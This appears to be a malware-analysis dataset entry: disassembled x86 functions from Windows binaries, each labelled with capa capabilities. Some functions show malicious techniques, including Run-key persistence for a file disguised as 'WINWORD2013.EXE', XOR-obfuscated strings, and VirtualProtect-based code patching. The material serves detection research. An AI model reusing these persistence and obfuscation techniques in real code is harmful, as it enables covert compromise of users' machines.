joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009a880
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov eax, 0x1fffffff
bsr ecx, eax
push esi
push edi
mov edi, 1
mov dword [ebp - 0x10], ebx
mov eax, edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
ja 0x1009a9db
lea eax, [ecx - 1]
mov esi, dword [ebx + 4]
or eax, edi
mov dword [ebp - 8], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
lea ecx, [ebx + 0xc]
lea eax, [edi + edi]
push eax
call fcn.1002fdf0
lea eax, [edi - 1]
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x1009a9ae
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
imul edx, edi, 0x1000193
mov edi, dword [ebx + 0x18]
and edi, edx
mov edx, dword [ebx + 0xc]
mov ebx, dword [edx + edi*8]
lea edx, [edx + edi*8]
mov dword [ebp - 0xc], edx
cmp ebx, esi
jne 0x1009a934
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x1009a9a1
mov edx, dword [edx + 4]
mov edi, dword [eax + 8]
cmp edi, dword [edx + 8]
jne 0x1009a96e
mov edx, dword [edx]
mov dword [ebp - 4], edx
cmp edx, eax
je 0x1009a966
mov ebx, dword [eax + 4]
mov esi, dword [ebp - 4]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov edx, dword [ebp - 0xc]
mov dword [edx + 4], eax
jmp 0x1009a9a1
cmp ebx, edx
je 0x1009a97e
mov edx, dword [edx + 4]
cmp edi, dword [edx + 8]
je 0x1009a9b7
cmp ebx, edx
jne 0x1009a972
mov ebx, dword [eax + 4]
mov dword [ebp - 4], ebx
mov dword [ebx], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [ebp - 4]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0xc]
mov dword [eax + 4], edi
mov dword [edx], eax
mov ebx, dword [ebp - 0x10]
mov eax, ecx
cmp ecx, esi
jne 0x1009a8e2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 4], edx
mov esi, edx
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x1009a9a1
push str.invalid_hash_bucket_count
call fcn.100c5b64
int3

Function at 0x1009c1c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1009c1eb
push 0
push 0
push 0
push 0x1002d0f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1009c1eb
mov eax, 1
pop ebp
ret 0xc
xor eax, eax
pop ebp
ret 0xc
Function at 0x100a6950
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f70bb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x40
mov eax, dword [0x1011904c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x10147dcc]
mov dword [ebp - 0x38], ecx
test al, 1
jne 0x100a6ab2
or eax, 1
mov dword [0x10147dcc], eax
mov dword [ebp - 4], 0
mov eax, 0x10
movaps xmm0, xmmword [0x10109180]
pxor xmm0, xmmword [0x10109030]
mov dword [ebp - 0x24], 0x8c9cef8c
mov dword [ebp - 0x20], 0x9d8cea9c
mov dword [ebp - 0x1c], 0x9a948c9d
mov byte [ebp - 0x18], 0xac
movups xmmword [ebp - 0x34], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x34], 0xac
inc eax
cmp eax, 0x1d
jb 0x100a69e0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a6a10
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.100210e0
mov byte [ebp - 4], 1
mov edx, dword [0x1014255c]
test edx, edx
je 0x100a6a39
mov edx, dword [edx + 0x50]
jmp 0x100a6a3b
xor edx, edx
mov eax, dword [0x10142554]
test eax, eax
je 0x100a6a49
mov eax, dword [eax + 0x18]
jmp 0x100a6a4b
xor eax, eax
lea ecx, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.1001a330
mov eax, dword [ebp - 0x14]
add esp, 8
test eax, eax
je 0x100a6a72
mov ecx, dword [eax + 1]
test ecx, ecx
jne 0x100a6a6d
xor eax, eax
jmp 0x100a6a72
add eax, 5
add eax, ecx
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x3c]
mov dword [0x10147dd0], eax
cmp ecx, 0x10
jb 0x100a6aab
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100a6aa1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a6ae2
push ecx
push edx
call fcn.100c6ec5
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [0x10147dd0], 0
je 0x100a6ad0
push 0
mov ecx, dword [ebp - 0x38]
movss xmm1, dword [ebx + 0xc]
movss xmm2, dword [ebx + 8]
call dword [0x10147dd0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100cc722
int3
Function at 0x100b09e0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x100b0b81
mov eax, dword [ebx]
mov ecx, ebx
mov eax, dword [eax + 0x280]
call eax
test al, al
je 0x100b0b81
mov eax, dword [0x10142608]
cmp dword [eax + 0x174], 0xffffffff
je 0x100b0b81
mov eax, dword [0x1014289c]
add eax, 0xffffff90
xor eax, 0x9e4a224b
cmp dword [eax + ebx], 0
mov eax, dword [0x10142864]
setle cl
add eax, 0xffffff9e
xor eax, 0x9e4a223d
xor edi, edi
mov byte [eax + ebx], cl
mov eax, dword [0x10142854]
add eax, 0xffffffa2
xor eax, 0x9e4a2239
mov dword [eax + ebx + 0xc], 0
mov eax, dword [0x10142858]
add eax, 0xffffffa1
xor eax, 0x9e4a223a
mov dword [eax + ebx + 0xc], 0
mov ecx, dword [0x1014285c]
lea eax, [ecx - 0x60]
xor eax, 0x9e4a223b
mov edx, dword [eax + ebx + 0xc]
mov dword [ebp - 4], edx
test edx, edx
je 0x100b0ace
lea eax, [ecx - 0x60]
xor eax, 0x9e4a223b
mov eax, dword [eax + ebx]
mov esi, dword [eax + edi*4]
lea ebx, [eax + edi*4]
test esi, esi
je 0x100b0ac6
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x100b0aba
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
test al, al
je 0x100b0ab7
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
mov edx, dword [ebp - 4]
mov dword [ebx], 0
mov ecx, dword [0x1014285c]
mov ebx, dword [ebp + 8]
inc edi
cmp edi, edx
jb 0x100b0a83
lea eax, [ecx - 0x60]
xor eax, 0x9e4a223b
lea ecx, [ebx + 8]
push 0
mov dword [eax + ebx + 0xc], 0
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x1c]
call eax
mov eax, dword [ebx + 8]
lea ecx, [ebx + 8]
push 0
mov eax, dword [eax + 0x14]
call eax
mov edx, dword [0x1014261c]
xor ebx, ebx
mov dword [ebp - 4], edx
mov eax, dword [edx + 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x100b0b72
nop dword [eax]
mov eax, dword [edx + 0x1c]
lea ecx, [ebx*4]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ecx + eax]
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esi, eax
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [ecx + esi], 0
jne 0x100b0b30
xor edx, edx
test ecx, ecx
je 0x100b0b59
nop dword [eax]
movsx eax, byte [edx + esi]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x100b0b40
cmp edi, 0x79705c5e
je 0x100b0b64
inc ebx
cmp ebx, dword [ebp - 8]
jae 0x100b0b72
mov edx, dword [ebp - 4]
jmp 0x100b0b10
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ecx + eax]
jmp 0x100b0b74
xor ecx, ecx
push 0
push dword [ebp + 8]
push 0
call dword [0x10142708]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100b65e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f777d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x1011904c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x10142608]
mov edi, dword [esi + 0x174]
test edi, edi
setg byte [ebp - 0x14]
cmp dword [0x10119c0c], 4
jne 0x100b6649
mov edx, dword [esi + 0x4cb0]
add edx, dword [esi + 0x4cac]
mov ecx, dword [0x101425b0]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push dword [ebp - 0x14]
push edi
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x10147de8], 0
jne 0x100b6783
movaps xmm0, xmmword [0x101090a0]
xor eax, eax
movaps xmm2, xmmword [0x10109180]
movups xmmword [ebp - 0x54], xmm0
mov word [ebp - 0x34], 0xefea
movaps xmm0, xmmword [0x10108e80]
movups xmmword [ebp - 0x44], xmm0
mov byte [ebp - 0x32], 0xac
nop
movups xmm0, xmmword [ebp + eax - 0x54]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x54], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100b6680
cmp eax, 0x23
jae 0x100b66ab
nop
xor byte [ebp + eax - 0x54], 0xac
inc eax
cmp eax, 0x23
jb 0x100b66a0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100b66d0
sub ecx, edx
lea eax, [ebp - 0x54]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.100210e0
mov dword [ebp - 4], 0
mov edx, dword [0x10142568]
test edx, edx
je 0x100b66fc
mov edx, dword [edx + 0x50]
jmp 0x100b66fe
xor edx, edx
mov eax, dword [0x10142560]
test eax, eax
je 0x100b670c
mov eax, dword [eax + 0x18]
jmp 0x100b670e
xor eax, eax
lea ecx, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10045180
mov edi, dword [ebp - 0x18]
add esp, 8
mov ecx, dword [ebp - 0x1c]
inc edi
cmp ecx, 0x10
jb 0x100b6752
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100b6748
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100b679e
push ecx
push edx
call fcn.100c6ec5
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x14], 0
call esi
lea eax, [ebp - 0x14]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov byte [0x10147de8], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100c6a45
mov esp, ebp
pop ebp
ret
call fcn.100cc722
int3
Function at 0x100c3d40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x10119b60], 0
push ebx
push esi
push edi
je 0x100c3edc
mov eax, dword [0x10142604]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x100c3edc
movss xmm0, dword [0x101200d4]
xor ebx, ebx
mulss xmm0, dword [0x10108a00]
movss dword [ebp - 8], xmm0
test ecx, ecx
jle 0x100c3edc
xor ecx, ecx
mov dword [ebp - 4], ecx
nop word [eax + eax]
mov esi, dword [eax]
add esi, ecx
mov ecx, dword [esi]
test ecx, ecx
je 0x100c3ec9
mov eax, dword [ecx]
mov eax, dword [eax + 0x260]
call eax
test al, al
je 0x100c3ec4
mov edi, dword [esi]
mov eax, dword [0x10142744]
cmp byte [eax + edi], 0
jne 0x100c3ec4
mov eax, dword [edi + 8]
lea ecx, [edi + 8]
mov eax, dword [eax + 0x28]
call eax
mov edx, dword [0x10142784]
add edx, 0xffffffd6
xor edx, 0x9e4a2205
lea eax, [eax*4 + 0x10145954]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10119b60]
mov ecx, dword [edx + edi]
cmp ecx, dword [edx + eax]
jne 0x100c3e38
mov ecx, dword [0x1014266c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x34]
call eax
test eax, eax
jne 0x100c3e38
mov ecx, dword [0x1011ff38]
mov eax, dword [0x1011ff34]
cmp eax, ecx
je 0x100c3ec4
cmp dword [eax], 1
je 0x100c3e22
add eax, 4
cmp eax, ecx
jne 0x100c3e16
cmp eax, ecx
je 0x100c3ec4
mov eax, dword [0x1012005c]
movzx edx, word [0x1012005e]
jmp 0x100c3e63
mov ecx, dword [0x1011ff38]
mov eax, dword [0x1011ff34]
cmp eax, ecx
je 0x100c3ec4
cmp dword [eax], 0
je 0x100c3e53
add eax, 4
cmp eax, ecx
jne 0x100c3e47
cmp eax, ecx
je 0x100c3ec4
mov eax, dword [0x1011ffcc]
movzx edx, word [0x1011ffce]
movss xmm3, dword [0x101089f8]
mov ecx, eax
movzx eax, al
shr ecx, 8
mov word [esi + 0x24], 1
mov byte [esi + 0x26], 0
movd xmm2, eax
movzx eax, cl
cvtdq2ps xmm2, xmm2
movd xmm1, eax
movzx eax, dl
cvtdq2ps xmm1, xmm1
movd xmm0, eax
mov eax, dword [ebp - 0xc]
cvtdq2ps xmm0, xmm0
mulss xmm2, xmm3
mulss xmm0, xmm3
mulss xmm1, xmm3
movss dword [esi + 0xc], xmm0
movss xmm0, dword [ebp - 8]
movss dword [esi + 4], xmm2
movss dword [esi + 8], xmm1
mulss xmm0, dword [eax]
movss dword [esi + 0x10], xmm0
mov eax, dword [0x10142604]
mov ecx, dword [ebp - 4]
inc ebx
add ecx, 0x38
mov dword [ebp - 4], ecx
cmp ebx, dword [eax + 0xc]
jl 0x100c3d90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100ddc12
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100ddb94

Function at 0x100df387
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100df1fd

Function at 0x100e5a35
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100e56b2

Function at 0x100ed0f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100ed11d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100ed11d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10002b90
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x10034040]
xor eax, esp
mov dword [esp + 8], eax
push esi
lea eax, [esp + 8]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10002bf4
push eax
mov edx, str.RegOpenKeyEx_failed_with_error:
push ecx
call fcn.100047e0
add esp, 4
mov ecx, eax
call fcn.10002c60
mov ecx, eax
call fcn.10004ee0
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.1000a439
mov esp, ebp
pop ebp
ret
push str.C:UsersPublicDocumentsWINWORD2013.EXE
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push str.C:UsersPublicDocumentsWINWORD2013.EXE
push 1
push 0
push str.WINWORD2013
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x10002c37
push esi
mov edx, str.RegSetValueEx_failed_with_error:
jmp 0x10002bcb
mov ecx, dword [esp + 0xc]
mov eax, 1
pop esi
xor ecx, esp
call fcn.1000a439
mov esp, ebp
pop ebp
ret

Function at 0x100096f7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x10009718
jl 0x1000970f
test edi, edi
jne 0x10009718
xor eax, eax
xor edx, edx
jmp 0x100097d9
cmp dword [ebx + 0x38], 0
je 0x1000972d
push eax
push edi
push dword [ebp + 8]
call fcn.100097df
jmp 0x100097d9
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x10009774
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x10009774
cmp eax, edi
jb 0x1000974e
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.1000bb10
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x1000977a
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x100097ce
mov ecx, ebx
call fcn.10008fb9
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x100097b9
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.1001306b
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x100097ce
jmp 0x1000978c
test edx, edx
je 0x100097ce
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.1001306b
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x100147bc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100147fb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100147fb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100147fb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100147fb
cmp dword [ecx + 0x74], 0xe
jbe 0x100147fb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10019833
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002b1f0
push 0x1002b1e8
push str.FlsAlloc
push 0x1f
call fcn.100196fb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10019867
push dword [ebp + 8]
mov ecx, esi
call dword [0x10027164]
call esi
jmp 0x1001986d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100198b1
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002b200
push 0x1002b1f8
push str.FlsGetValue
push 0x21
call fcn.100196fb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100198e8
push dword [ebp + 8]
mov ecx, esi
call dword [0x10027164]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100198f0
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002b208
push 0x1002b200
push str.FlsSetValue
push 0x22
call fcn.100196fb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001992a
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10027164]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001bd07
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1000b460
mov eax, dword [0x10034040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.100169fa
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1001bd49
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1001bea5
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.10025cb0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x10035ad0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.1001c12c
mov ecx, dword [esi*4 + 0x10035ad0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x1001be9e
cmp eax, dword [ecx + edi + 0x24]
jne 0x1001be9e
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001be9e
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1001c12c
add esp, 0x14
test edx, edx
jl 0x1001be9e
jg 0x1001be14
test eax, eax
jb 0x1001be9e
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x1001be9e
jl 0x1001be2e
cmp dword [ebp - 0x1008], eax
ja 0x1001be9e
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x1001be4c
test ebx, ebx
je 0x1001be85
cmp ecx, edi
jae 0x1001be85
mov al, byte [ecx]
cmp al, 0xd
jne 0x1001be66
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1001be72
cmp byte [ecx + 1], 0xa
jne 0x1001be72
inc ecx
jmp 0x1001be72
movzx eax, al
movsx eax, byte [eax + 0x100342e0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1001be4c
cmp edx, ebx
jne 0x1001be4c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1001bea3
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1000a439
leave
ret
Function at 0x1001c1a8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10035ad0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1001c1e8
cmp byte [ebx], 0xa
jne 0x1001c1e8
or byte [edi + eax + 0x28], 4
jmp 0x1001c1ed
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1001c2ec
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1001c2cf
inc eax
cmp dl, 0xd
je 0x1001c219
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1001c23f
cmp eax, ecx
jae 0x1001c24d
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1001c201
jmp 0x1001c2ec
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001c2ca
cmp dword [ebp - 0x10], 0
je 0x1001c2ca
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x10035ad0]
test byte [eax + edi + 0x28], 0x48
je 0x1001c2a4
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1001c28f
mov byte [esi], dl
jmp 0x1001c2a0
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x10035ad0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1001c2ec
cmp byte [ebp - 1], 0xa
jne 0x1001c2b3
cmp esi, ebx
jne 0x1001c2b3
mov byte [esi], 0xa
jmp 0x1001c2eb
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1001c14a
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1001c2ec
mov byte [esi], 0xd
jmp 0x1001c2eb
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x10035ad0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1001c2e9
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1001c2ec
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret